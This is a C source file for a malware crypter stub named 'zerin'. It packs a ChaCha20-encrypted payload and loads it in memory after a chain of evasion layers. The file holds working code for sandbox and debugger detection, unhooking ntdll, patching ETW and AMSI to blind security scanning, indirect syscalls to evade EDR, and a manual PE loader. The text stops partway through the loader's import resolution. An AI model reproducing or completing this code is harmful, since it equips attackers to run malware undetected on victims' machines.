/* * zerin_stub_template.c - Advanced crypter stub with evasion layers * * Pre-compiled once into zerin_stub.exe. At crypt-time, the crypter * injects a .data1 section (encrypted payload) and patches the .gfids section * with key/nonce/RVA. No GCC needed at crypt-time. * * Evasion layers (execution order): * 1. Sandbox detection (CPU, RAM, disk, sleep, recent files, PEB debug) * 2. Ntdll unhooking (overwrite .text from disk copy) * 3. ETW patching (patch EtwEventWrite to ret) * 4. Indirect syscalls (SSN extraction + ntdll gadget trampoline) * 5. Entropy flattening reversal (XOR with English-text keystream) * 6. ChaCha20 decryption * 7. PE memory loading (manual map, relocs, imports, TLS, entry point) * 8. Cleanup (SecureZeroMemory all buffers) * * Compile (one-time): * windres zerin_stub.rc -o zerin_stub_res.o * gcc -std=gnu11 -O2 -s -mwindows -fno-stack-protector * -fno-asynchronous-unwind-tables -D_WIN32_WINNT=0x0601 * zerin_stub_template.c zerin_stub_res.o * -lntdll -lkernel32 -luser32 -ladvapi32 -lshell32 -lole32 * -o zerin_stub.exe */ #include #include #include #include #include #include /* Per-build polymorphic config (magic, sections, charset, thresholds) */ #include "stub_poly_config.h" /* Per-build hash constants (must come before metamorphic — needs STUB_LCG_* defines) */ /* Note: stub_poly_hash.h is included further down after PEB structures */ /* Per-build metamorphic function bodies (LCG, ChaCha20, syscall, etc.) */ /* Note: stub_poly_metamorphic.h is included after stub_poly_config.h so it * can use STUB_LCG_MULT, STUB_LCG_INC, STUB_LCG_SHIFT, STUB_ENTROPY_CHARSET */ #include "stub_poly_metamorphic.h" /* Per-build IAT padding (12-20 benign API calls to normalize import table) */ #include "stub_poly_iat.h" /* Per-build binary size padding (realistic .rdata content) */ #include "stub_poly_padding.h" /* ====================================================================== * Configuration section - patched by crypter at crypt-time * ====================================================================== */ typedef struct _STUB_CONFIG { uint32_t magic; /* Per-build random marker */ uint32_t payload_rva; /* RVA of payload section */ uint32_t payload_size; /* Size of encrypted+flattened payload */ uint8_t key[32]; /* ChaCha20 key */ uint8_t nonce[12]; /* ChaCha20 nonce */ uint32_t entropy_seed; /* Seed for deterministic entropy pad generation */ } STUB_CONFIG; volatile STUB_CONFIG g_Config __attribute__((section(STUB_CFG_SECTION), used)) = { .magic = STUB_CONFIG_MAGIC }; /* ====================================================================== * PEB structures (minimal, no imports needed) * ====================================================================== */ typedef struct _S_LDR_DATA_TABLE_ENTRY { LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; LPVOID DllBase; LPVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; } S_LDR_DATA_TABLE_ENTRY; typedef struct _S_PEB_LDR_DATA { DWORD Length; DWORD Initialized; LPVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; } S_PEB_LDR_DATA; typedef struct _S_PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2; #ifdef _WIN64 BYTE Reserved3[4]; #endif LPVOID Reserved4[1]; LPVOID ImageBaseAddress; S_PEB_LDR_DATA *Ldr; } S_PEB; /* ====================================================================== * PEB access helpers * ====================================================================== */ static inline __attribute__((always_inline)) S_PEB *GetPeb(void) { #ifdef _WIN64 return (S_PEB *)__readgsqword(0x60); #else return (S_PEB *)__readfsdword(0x30); #endif } /* Polymorphic hash — algorithm and constants generated per build */ #include "stub_poly_hash.h" extern void poly_stub_init(void); static LPVOID StubGetModuleHandle(DWORD moduleHash) { S_PEB_LDR_DATA *ldr = GetPeb()->Ldr; S_LDR_DATA_TABLE_ENTRY *first = (S_LDR_DATA_TABLE_ENTRY *)ldr->InMemoryOrderModuleList.Flink; S_LDR_DATA_TABLE_ENTRY *entry = first; do { if (entry->BaseDllName.Buffer) { DWORD h = StubHashW(entry->BaseDllName.Buffer, entry->BaseDllName.Length); if (h == moduleHash) return entry->DllBase; } entry = (S_LDR_DATA_TABLE_ENTRY *)entry->InMemoryOrderModuleList.Flink; } while (entry != first); return NULL; } static LPVOID StubGetProcAddress(DWORD moduleHash, DWORD functionHash) { LPBYTE base = (LPBYTE)StubGetModuleHandle(moduleHash); if (!base) return NULL; PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)( base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); LPDWORD names = (LPDWORD)(base + exp->AddressOfNames); LPWORD ordinals = (LPWORD)(base + exp->AddressOfNameOrdinals); LPDWORD funcs = (LPDWORD)(base + exp->AddressOfFunctions); for (DWORD i = 0; i < exp->NumberOfNames; i++) { DWORD h = StubHash((const char *)(base + names[i])); if (h == functionHash) { return base + funcs[ordinals[i]]; } } return NULL; } /* Function pointer typedefs */ typedef HMODULE (WINAPI *fn_LoadLibraryA)(LPCSTR); typedef FARPROC (WINAPI *fn_GetProcAddress)(HMODULE, LPCSTR); typedef LPVOID (WINAPI *fn_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); typedef BOOL (WINAPI *fn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); typedef BOOL (WINAPI *fn_VirtualFree)(LPVOID, SIZE_T, DWORD); typedef HMODULE (WINAPI *fn_GetModuleHandleA)(LPCSTR); typedef HANDLE (WINAPI *fn_CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); typedef BOOL (WINAPI *fn_ReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); typedef DWORD (WINAPI *fn_GetFileSize)(HANDLE, LPDWORD); typedef BOOL (WINAPI *fn_CloseHandle)(HANDLE); typedef void (WINAPI *fn_GetSystemInfo)(LPSYSTEM_INFO); typedef BOOL (WINAPI *fn_GlobalMemoryStatusEx)(LPMEMORYSTATUSEX); typedef BOOL (WINAPI *fn_GetDiskFreeSpaceExA)(LPCSTR, PULARGE_INTEGER, PULARGE_INTEGER, PULARGE_INTEGER); typedef void (WINAPI *fn_Sleep)(DWORD); typedef ULONGLONG (WINAPI *fn_GetTickCount64)(void); typedef HANDLE (WINAPI *fn_FindFirstFileA)(LPCSTR, LPWIN32_FIND_DATAA); typedef BOOL (WINAPI *fn_FindNextFileA)(HANDLE, LPWIN32_FIND_DATAA); typedef BOOL (WINAPI *fn_FindClose)(HANDLE); typedef DWORD (WINAPI *fn_GetEnvironmentVariableA)(LPCSTR, LPSTR, DWORD); typedef BOOL (WINAPI *fn_FlushInstructionCache)(HANDLE, LPCVOID, SIZE_T); typedef void (WINAPI *fn_ExitProcess)(UINT); typedef BOOL (WINAPI *fn_WriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); typedef DWORD (WINAPI *fn_GetTempPathA)(DWORD, LPSTR); /* ====================================================================== * Diagnostic logging (enabled with -DSTUB_DEBUG) * Writes step-by-step progress to %TEMP%\zerin_diag.log * ====================================================================== */ #ifdef STUB_DEBUG static HANDLE g_diag_file = (HANDLE)-1; static fn_WriteFile g_pWriteFile = NULL; static void DiagInit(void) { fn_CreateFileA pCreateFileA = (fn_CreateFileA)StubGetProcAddress(FH_KERNEL32, FH_CreateFileA); g_pWriteFile = (fn_WriteFile)StubGetProcAddress(FH_KERNEL32, FH_WriteFile); if (!pCreateFileA || !g_pWriteFile) return; /* Build path: %TEMP%\zerin_diag.log */ char path[MAX_PATH]; DWORD len = 0; fn_GetEnvironmentVariableA pGetEnv = (fn_GetEnvironmentVariableA)StubGetProcAddress(FH_KERNEL32, FH_GetEnvironmentVariableA); if (pGetEnv) { char tmp[] = {'T','E','M','P',0}; len = pGetEnv(tmp, path, MAX_PATH - 30); } if (len == 0 || len >= MAX_PATH - 30) { path[0] = 'C'; path[1] = ':'; path[2] = '\\'; len = 3; } const char suffix[] = "\\zerin_diag.log"; for (int i = 0; suffix[i]; i++) path[len++] = suffix[i]; path[len] = 0; g_diag_file = pCreateFileA(path, 0x40000000/*GENERIC_WRITE*/, 1/*FILE_SHARE_READ*/, NULL, 2/*CREATE_ALWAYS*/, 0x80/*FILE_ATTRIBUTE_NORMAL*/, NULL); } static void DiagLog(const char *msg) { if (g_diag_file == (HANDLE)-1 || !g_pWriteFile) return; DWORD written; int len = 0; while (msg[len]) len++; g_pWriteFile(g_diag_file, msg, (DWORD)len, &written, NULL); } static void DiagLogHex(const char *prefix, uint32_t val) { char buf[80]; int i = 0; while (prefix[i] && i < 60) { buf[i] = prefix[i]; i++; } const char hex[] = "0123456789ABCDEF"; buf[i++] = '0'; buf[i++] = 'x'; for (int j = 28; j >= 0; j -= 4) buf[i++] = hex[(val >> j) & 0xF]; buf[i++] = '\r'; buf[i++] = '\n'; buf[i] = 0; DiagLog(buf); } static void DiagClose(void) { if (g_diag_file != (HANDLE)-1) { fn_CloseHandle pClose = (fn_CloseHandle)StubGetProcAddress(FH_KERNEL32, FH_CloseHandle); if (pClose) pClose(g_diag_file); g_diag_file = (HANDLE)-1; } } #else #define DiagInit() #define DiagLog(msg) #define DiagLogHex(prefix, val) #define DiagClose() #endif /* NT indirect syscall prototypes (naked ASM — defined after InitSyscalls) */ NTSTATUS IndirectNtAllocateVirtualMemory(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG); NTSTATUS IndirectNtProtectVirtualMemory(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG); NTSTATUS IndirectNtFreeVirtualMemory(HANDLE, PVOID*, PSIZE_T, ULONG); NTSTATUS IndirectNtFlushInstructionCache(HANDLE, PVOID, SIZE_T); /* ====================================================================== * Indirect syscall infrastructure * * Extract SSN from ntdll function prologue: * mov r10, rcx → 4C 8B D1 * mov eax, SSN → B8 xx xx 00 00 * Then find a `syscall; ret` gadget in ntdll's .text for execution. * ====================================================================== */ /* Flat globals for indirect syscall dispatch. * NOT static — naked function inline ASM needs external linkage for * RIP-relative addressing on GCC 15.x */ DWORD stub_ssn_NtAllocate; DWORD stub_ssn_NtProtect; DWORD stub_ssn_NtFree; DWORD stub_ssn_NtFlush; PVOID stub_gadget_addr; /* Single `syscall; ret` gadget in ntdll */ /* ExtractSSN — provided by stub_poly_metamorphic.h (per-build pattern mutation) */ /* FindSyscallGadget — provided by stub_poly_metamorphic.h (per-build scan mutation) */ static int InitSyscalls(LPBYTE ntdllBase) { PVOID gadget = FindSyscallGadget(ntdllBase); if (!gadget) return -1; stub_gadget_addr = gadget; /* Find exports by hash */ LPBYTE pAlloc = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_NtAllocateVirtualMemory); LPBYTE pProtect = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_NtProtectVirtualMemory); LPBYTE pFree = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_NtFreeVirtualMemory); LPBYTE pFlush = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_NtFlushInstructionCache); if (!pAlloc || !pProtect || !pFree) return -1; stub_ssn_NtAllocate = ExtractSSN(pAlloc); stub_ssn_NtProtect = ExtractSSN(pProtect); stub_ssn_NtFree = ExtractSSN(pFree); if (pFlush) stub_ssn_NtFlush = ExtractSSN(pFlush); if (stub_ssn_NtAllocate == (DWORD)-1 || stub_ssn_NtProtect == (DWORD)-1 || stub_ssn_NtFree == (DWORD)-1) return -1; return 0; } /* * Indirect syscall wrappers using naked ASM. * mov r10, rcx — NT calling convention (rcx → r10) * mov eax, SSN — syscall service number * jmp [gadget] — jump to `syscall; ret` in ntdll's .text * * The `syscall` instruction executes from ntdll's memory range, * bypassing "syscall from non-ntdll" detections. */ __attribute__((naked)) NTSTATUS IndirectNtAllocateVirtualMemory( HANDLE process, PVOID *base, ULONG_PTR zeroBits, PSIZE_T size, ULONG allocType, ULONG protect) { __asm__ volatile ( ".intel_syntax noprefix\n\t" "mov r10, rcx\n\t" "mov eax, dword ptr [rip + stub_ssn_NtAllocate]\n\t" "jmp qword ptr [rip + stub_gadget_addr]\n\t" ".att_syntax prefix\n\t" ); } __attribute__((naked)) NTSTATUS IndirectNtProtectVirtualMemory( HANDLE process, PVOID *base, PSIZE_T size, ULONG newProt, PULONG oldProt) { __asm__ volatile ( ".intel_syntax noprefix\n\t" "mov r10, rcx\n\t" "mov eax, dword ptr [rip + stub_ssn_NtProtect]\n\t" "jmp qword ptr [rip + stub_gadget_addr]\n\t" ".att_syntax prefix\n\t" ); } __attribute__((naked)) NTSTATUS IndirectNtFreeVirtualMemory( HANDLE process, PVOID *base, PSIZE_T size, ULONG freeType) { __asm__ volatile ( ".intel_syntax noprefix\n\t" "mov r10, rcx\n\t" "mov eax, dword ptr [rip + stub_ssn_NtFree]\n\t" "jmp qword ptr [rip + stub_gadget_addr]\n\t" ".att_syntax prefix\n\t" ); } __attribute__((naked)) NTSTATUS IndirectNtFlushInstructionCache( HANDLE process, PVOID base, SIZE_T size) { __asm__ volatile ( ".intel_syntax noprefix\n\t" "mov r10, rcx\n\t" "mov eax, dword ptr [rip + stub_ssn_NtFlush]\n\t" "jmp qword ptr [rip + stub_gadget_addr]\n\t" ".att_syntax prefix\n\t" ); } /* ====================================================================== * Entropy-flattening keystream (deterministic from seed) * * The crypter generates a random seed, derives a pad via LCG, XORs * the ciphertext with the pad to reduce entropy from ~8.0 to ~5.5 * bits/byte. The seed is stored in .gfids so we can regenerate the * same pad here to reverse the flattening. * ====================================================================== */ #define ENTROPY_PAD_SIZE 4096 /* generate_entropy_pad — provided by stub_poly_metamorphic.h (per-build LCG params) */ /* ====================================================================== * Layer 1: Sandbox Detection * ====================================================================== */ static int SandboxCheck(void) { int failures = 0; fn_GetSystemInfo pGetSystemInfo = (fn_GetSystemInfo)StubGetProcAddress(FH_KERNEL32, FH_GetSystemInfo); fn_GlobalMemoryStatusEx pGlobalMemoryStatusEx = (fn_GlobalMemoryStatusEx)StubGetProcAddress(FH_KERNEL32, FH_GlobalMemoryStatusEx); fn_Sleep pSleep = (fn_Sleep)StubGetProcAddress(FH_KERNEL32, FH_Sleep); fn_GetTickCount64 pGetTickCount64 = (fn_GetTickCount64)StubGetProcAddress(FH_KERNEL32, FH_GetTickCount64); fn_GetDiskFreeSpaceExA pGetDiskFreeSpaceExA = (fn_GetDiskFreeSpaceExA)StubGetProcAddress(FH_KERNEL32, FH_GetDiskFreeSpaceExA); fn_FindFirstFileA pFindFirstFileA = (fn_FindFirstFileA)StubGetProcAddress(FH_KERNEL32, FH_FindFirstFileA); fn_FindNextFileA pFindNextFileA = (fn_FindNextFileA)StubGetProcAddress(FH_KERNEL32, FH_FindNextFileA); fn_FindClose pFindClose = (fn_FindClose)StubGetProcAddress(FH_KERNEL32, FH_FindClose); fn_GetEnvironmentVariableA pGetEnv = (fn_GetEnvironmentVariableA)StubGetProcAddress(FH_KERNEL32, FH_GetEnvironmentVariableA); /* Check 1: CPU count < threshold */ if (pGetSystemInfo) { SYSTEM_INFO si; pGetSystemInfo(&si); DiagLogHex("SB: cpus=", si.dwNumberOfProcessors); DiagLogHex("SB: min_cpu=", SB_MIN_CPU); if (si.dwNumberOfProcessors < SB_MIN_CPU) failures++; } /* Check 2: RAM < threshold */ if (pGlobalMemoryStatusEx) { MEMORYSTATUSEX ms; ms.dwLength = sizeof(ms); if (pGlobalMemoryStatusEx(&ms)) { DiagLogHex("SB: ram_gb=", (uint32_t)(ms.ullTotalPhys / (1024*1024*1024))); DiagLogHex("SB: min_ram=", SB_MIN_RAM_GB); if (ms.ullTotalPhys < ((unsigned long long)SB_MIN_RAM_GB * 1024 * 1024 * 1024)) failures++; } } /* Check 3: Sleep acceleration (sandbox fast-forwards Sleep calls) */ if (pSleep && pGetTickCount64) { ULONGLONG t1 = pGetTickCount64(); pSleep(SB_SLEEP_MS); ULONGLONG t2 = pGetTickCount64(); DiagLogHex("SB: sleep_delta=", (uint32_t)(t2 - t1)); DiagLogHex("SB: sleep_min=", SB_SLEEP_MIN_MS); if ((t2 - t1) < SB_SLEEP_MIN_MS) failures++; } /* Check 4: Disk < threshold */ if (pGetDiskFreeSpaceExA) { ULARGE_INTEGER totalBytes; char drive[] = { 'C', ':', '\\', 0 }; if (pGetDiskFreeSpaceExA(drive, NULL, &totalBytes, NULL)) { DiagLogHex("SB: disk_gb=", (uint32_t)(totalBytes.QuadPart / (1024*1024*1024))); DiagLogHex("SB: min_disk=", SB_MIN_DISK_GB); if (totalBytes.QuadPart < ((unsigned long long)SB_MIN_DISK_GB * 1024 * 1024 * 1024)) failures++; } } /* Check 5: Recent files < threshold */ if (pFindFirstFileA && pFindNextFileA && pFindClose && pGetEnv) { char recentPath[MAX_PATH]; DWORD len = pGetEnv("USERPROFILE", recentPath, MAX_PATH - 30); if (len > 0 && len < MAX_PATH - 30) { char *p = recentPath + len; const char suffix[] = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*"; for (int i = 0; suffix[i]; i++) *p++ = suffix[i]; *p = 0; WIN32_FIND_DATAA fd; HANDLE hFind = pFindFirstFileA(recentPath, &fd); if (hFind != INVALID_HANDLE_VALUE) { int count = 0; do { count++; } while (count < (SB_MIN_RECENT + 5) && pFindNextFileA(hFind, &fd)); pFindClose(hFind); DiagLogHex("SB: recent_files=", (uint32_t)count); DiagLogHex("SB: min_recent=", SB_MIN_RECENT); if (count < SB_MIN_RECENT) failures++; } else { DiagLog("SB: recent dir not found\r\n"); failures++; } } } /* Check 6: PEB.BeingDebugged (direct read, no API call) */ DiagLogHex("SB: BeingDebugged=", (uint32_t)GetPeb()->BeingDebugged); if (GetPeb()->BeingDebugged) failures++; DiagLogHex("SB: total_failures=", (uint32_t)failures); /* If 3+ checks fail, assume sandbox (2 is too aggressive for dev/VM) */ return (failures >= 3) ? 1 : 0; } /* ====================================================================== * Layer 2: Ntdll Unhooking * ====================================================================== */ static int UnhookNtdll(void) { fn_CreateFileA pCreateFileA = (fn_CreateFileA)StubGetProcAddress(FH_KERNEL32, FH_CreateFileA); fn_ReadFile pReadFile = (fn_ReadFile)StubGetProcAddress(FH_KERNEL32, FH_ReadFile); fn_GetFileSize pGetFileSize = (fn_GetFileSize)StubGetProcAddress(FH_KERNEL32, FH_GetFileSize); fn_CloseHandle pCloseHandle = (fn_CloseHandle)StubGetProcAddress(FH_KERNEL32, FH_CloseHandle); fn_VirtualAlloc pVirtualAlloc = (fn_VirtualAlloc)StubGetProcAddress(FH_KERNEL32, FH_VirtualAlloc); fn_VirtualProtect pVirtualProtect = (fn_VirtualProtect)StubGetProcAddress(FH_KERNEL32, FH_VirtualProtect); fn_VirtualFree pVirtualFree = (fn_VirtualFree)StubGetProcAddress(FH_KERNEL32, FH_VirtualFree); if (!pCreateFileA || !pReadFile || !pGetFileSize || !pCloseHandle || !pVirtualAlloc || !pVirtualProtect || !pVirtualFree) return -1; /* Build path "C:\Windows\System32\ntdll.dll" on stack */ char ntdllPath[] = { 'C',':','\\','W','i','n','d','o','w','s','\\', 'S','y','s','t','e','m','3','2','\\', 'n','t','d','l','l','.','d','l','l', 0 }; HANDLE hFile = pCreateFileA(ntdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) return -1; DWORD fileSize = pGetFileSize(hFile, NULL); if (fileSize == INVALID_FILE_SIZE || fileSize == 0) { pCloseHandle(hFile); return -1; } LPBYTE fileBuffer = (LPBYTE)pVirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!fileBuffer) { pCloseHandle(hFile); return -1; } DWORD bytesRead = 0; if (!pReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL) || bytesRead != fileSize) { pVirtualFree(fileBuffer, 0, MEM_RELEASE); pCloseHandle(hFile); return -1; } pCloseHandle(hFile); /* Validate PE */ PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)fileBuffer; if (dos->e_magic != IMAGE_DOS_SIGNATURE) { pVirtualFree(fileBuffer, 0, MEM_RELEASE); return -1; } PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(fileBuffer + dos->e_lfanew); if (nt->Signature != IMAGE_NT_SIGNATURE) { pVirtualFree(fileBuffer, 0, MEM_RELEASE); return -1; } /* Get in-memory ntdll base */ LPBYTE ntdllBase = (LPBYTE)StubGetModuleHandle(FH_NTDLL); if (!ntdllBase) { pVirtualFree(fileBuffer, 0, MEM_RELEASE); return -1; } int result = -1; PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) { if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' && sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' && sec[i].Name[4] == 't') { LPVOID textAddr = ntdllBase + sec[i].VirtualAddress; SIZE_T textSize = sec[i].SizeOfRawData; if (sec[i].PointerToRawData + textSize > fileSize) break; DWORD oldProtect; if (pVirtualProtect(textAddr, textSize, PAGE_EXECUTE_READWRITE, &oldProtect)) { /* Byte-by-byte copy (no memcpy import needed) */ LPBYTE src = fileBuffer + sec[i].PointerToRawData; LPBYTE dst = (LPBYTE)textAddr; for (SIZE_T j = 0; j < textSize; j++) dst[j] = src[j]; pVirtualProtect(textAddr, textSize, oldProtect, &oldProtect); result = 0; } break; } } pVirtualFree(fileBuffer, 0, MEM_RELEASE); return result; } /* ====================================================================== * Layer 3: ETW Patching * ====================================================================== */ static void PatchETW(void) { fn_VirtualProtect pVirtualProtect = (fn_VirtualProtect)StubGetProcAddress(FH_KERNEL32, FH_VirtualProtect); if (!pVirtualProtect) return; LPBYTE pEtwEventWrite = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_EtwEventWrite); if (!pEtwEventWrite) return; DWORD old; if (pVirtualProtect(pEtwEventWrite, STUB_ETW_PATCH_SIZE, PAGE_EXECUTE_READWRITE, &old)) { for (int i = 0; i < STUB_ETW_PATCH_SIZE; i++) pEtwEventWrite[i] = STUB_ETW_PATCH[i]; pVirtualProtect(pEtwEventWrite, STUB_ETW_PATCH_SIZE, old, &old); } } /* ====================================================================== * Layer 3b: AMSI Patching * * Patches AmsiOpenSession to return E_FAIL, silently killing all AMSI * scans. Uses stack-built strings and XOR-decoded patch bytes to avoid * static signatures. Resolves LoadLibraryA/GetProcAddress/VirtualProtect * via PEB hash (no IAT imports). * ====================================================================== */ static void PatchAMSI(void) { fn_LoadLibraryA pLoadLibraryA = (fn_LoadLibraryA)StubGetProcAddress(FH_KERNEL32, FH_LoadLibraryA); fn_VirtualProtect pVirtualProtect = (fn_VirtualProtect)StubGetProcAddress(FH_KERNEL32, FH_VirtualProtect); if (!pLoadLibraryA || !pVirtualProtect) return; /* Build "amsi.dll" as stack char array (no .rdata literal) */ char amsi_dll[] = { 'a','m','s','i','.','d','l','l', 0 }; HMODULE hAmsi = pLoadLibraryA(amsi_dll); SecureZeroMemory(amsi_dll, sizeof(amsi_dll)); if (!hAmsi) return; /* AMSI not present */ /* Resolve AmsiOpenSession from amsi.dll export table via polymorphic hash */ LPBYTE pFunc = NULL; { PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hAmsi; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LPBYTE)hAmsi + dos->e_lfanew); if (nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) return; PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)( (LPBYTE)hAmsi + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); LPDWORD names = (LPDWORD)((LPBYTE)hAmsi + exp->AddressOfNames); LPWORD ordinals = (LPWORD)((LPBYTE)hAmsi + exp->AddressOfNameOrdinals); LPDWORD funcs = (LPDWORD)((LPBYTE)hAmsi + exp->AddressOfFunctions); for (DWORD i = 0; i < exp->NumberOfNames; i++) { DWORD h = StubHash((const char *)((LPBYTE)hAmsi + names[i])); if (h == FH_AmsiOpenSession) { pFunc = (LPBYTE)hAmsi + funcs[ordinals[i]]; break; } } } if (!pFunc) return; DWORD oldProtect; if (!pVirtualProtect(pFunc, 8, PAGE_EXECUTE_READWRITE, &oldProtect)) return; /* * XOR-decode patch bytes (key 0x55): * 48 31 C0 xor rax, rax * 48 FF C8 dec rax * C3 ret * AmsiOpenSession returns -1 (E_FAIL), killing all AMSI scans. */ unsigned char enc[] = { 0x1D, 0x64, 0x95, 0x1D, 0xAA, 0x9D, 0x96 }; for (int i = 0; i < 7; i++) pFunc[i] = enc[i] ^ 0x55; pVirtualProtect(pFunc, 8, oldProtect, &oldProtect); SecureZeroMemory(enc, sizeof(enc)); } /* ====================================================================== * ChaCha20 decryption (pure, no imports) * ====================================================================== */ /* ROTL32, QR, load_le32, chacha20_decrypt — provided by stub_poly_metamorphic.h * (per-build unroll depth, rotation style, and load pattern mutation) */ /* ====================================================================== * Relocation helper * ====================================================================== */ typedef struct _IMAGE_RELOC_ENTRY { WORD offset : 12; WORD type : 4; } IMAGE_RELOC_ENTRY; /* ====================================================================== * Section characteristics to protection flags * ====================================================================== */ /* SectionToProtection — provided by stub_poly_metamorphic.h (per-build structure mutation) */ /* ====================================================================== * Layer 6: PE Memory Loader (adapted from reflective.c for EXEs) * * Uses indirect syscalls (NtAllocateVirtualMemory, NtProtectVirtualMemory) * instead of VirtualAlloc/VirtualProtect to avoid IAT detection. * ====================================================================== */ static int LoadPE(uint8_t *pe_data, size_t pe_size) { DiagLog("LOADPE: enter\r\n"); /* Resolve LoadLibraryA and GetProcAddress via PEB (needed for imports) */ fn_LoadLibraryA pLoadLibraryA = (fn_LoadLibraryA)StubGetProcAddress(FH_KERNEL32, FH_LoadLibraryA); fn_GetProcAddress pGetProcAddress = (fn_GetProcAddress)StubGetProcAddress(FH_KERNEL32, FH_GetProcAddress); if (!pLoadLibraryA || !pGetProcAddress) { DiagLog("LOADPE: FAIL resolve LLA/GPA\r\n"); return -1; } /* Validate DOS header */ PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pe_data; if (pe_size < sizeof(IMAGE_DOS_HEADER) || dos->e_magic != IMAGE_DOS_SIGNATURE) { DiagLog("LOADPE: FAIL DOS header\r\n"); return -2; } if ((DWORD)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_size) { DiagLog("LOADPE: FAIL e_lfanew OOB\r\n"); return -3; } PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pe_data + dos->e_lfanew); if (nt->Signature != IMAGE_NT_SIGNATURE) { DiagLog("LOADPE: FAIL NT sig\r\n"); return -4; } PIMAGE_OPTIONAL_HEADER opt = &nt->OptionalHeader; if (opt->SizeOfImage == 0) { DiagLog("LOADPE: FAIL SizeOfImage 0\r\n"); return -5; } DiagLogHex("LOADPE: SizeOfImage=", opt->SizeOfImage); DiagLogHex("LOADPE: ImageBase=", (uint32_t)opt->ImageBase); /* Allocate via indirect syscall */ PVOID imageBase = (PVOID)opt->ImageBase; SIZE_T imageSize = opt->SizeOfImage; NTSTATUS status = IndirectNtAllocateVirtualMemory( (HANDLE)-1, &imageBase, 0, &imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (status != 0) { imageBase = NULL; imageSize = opt->SizeOfImage; status = IndirectNtAllocateVirtualMemory( (HANDLE)-1, &imageBase, 0, &imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); } if (status != 0 || !imageBase) { DiagLogHex("LOADPE: FAIL NtAlloc image status=", (uint32_t)status); return -6; } LPBYTE base = (LPBYTE)imageBase; DiagLogHex("LOADPE: mapped at=", (uint32_t)(uintptr_t)base); /* Copy headers (byte-by-byte, no memcpy import) */ for (DWORD i = 0; i < opt->SizeOfHeaders; i++) base[i] = pe_data[i]; /* Map sections */ PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt); WORD numSections = nt->FileHeader.NumberOfSections; for (WORD i = 0; i < numSections; i++) { if (sections[i].SizeOfRawData == 0) continue; LPBYTE dst = base + sections[i].VirtualAddress; LPBYTE src = pe_data + sections[i].PointerToRawData; for (DWORD j = 0; j < sections[i].SizeOfRawData; j++) dst[j] = src[j]; } /* Process relocations */ DiagLog("LOADPE: sections mapped\r\n"); ULONGLONG delta = (ULONGLONG)base - (ULONGLONG)opt->ImageBase; if (delta != 0 && opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size > 0) { PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)( base + opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); while (reloc->VirtualAddress > 0) { LPBYTE page = base + reloc->VirtualAddress; DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC_ENTRY); IMAGE_RELOC_ENTRY *entries = (IMAGE_RELOC_ENTRY *)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION)); for (DWORD i = 0; i < count; i++) { if (entries[i].type == IMAGE_REL_BASED_DIR64) *(ULONGLONG *)(page + entries[i].offset) += delta; else if (entries[i].type == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)(page + entries[i].offset) += (DWORD)delta; else if (entries[i].type == IMAGE_REL_BASED_HIGH) *(WORD *)(page + entries[i].offset) += HIWORD(delta); else if (entries[i].type == IMAGE_REL_BASED_LOW) *(WORD *)(page + entries[i].offset) += LOWORD(delta); } reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock); } } /* Resolve imports */ DiagLog("LOADPE: 